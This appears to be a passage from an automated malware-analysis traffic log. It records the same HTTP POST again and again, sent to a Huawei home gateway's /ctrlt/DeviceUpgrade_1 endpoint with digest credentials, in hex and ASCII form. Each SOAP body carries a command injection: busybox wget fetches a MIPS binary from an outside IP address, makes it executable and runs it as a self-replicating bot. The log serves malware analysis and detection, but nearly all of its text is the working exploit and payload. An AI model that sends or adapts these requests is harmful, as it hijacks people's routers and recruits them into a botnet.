/bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 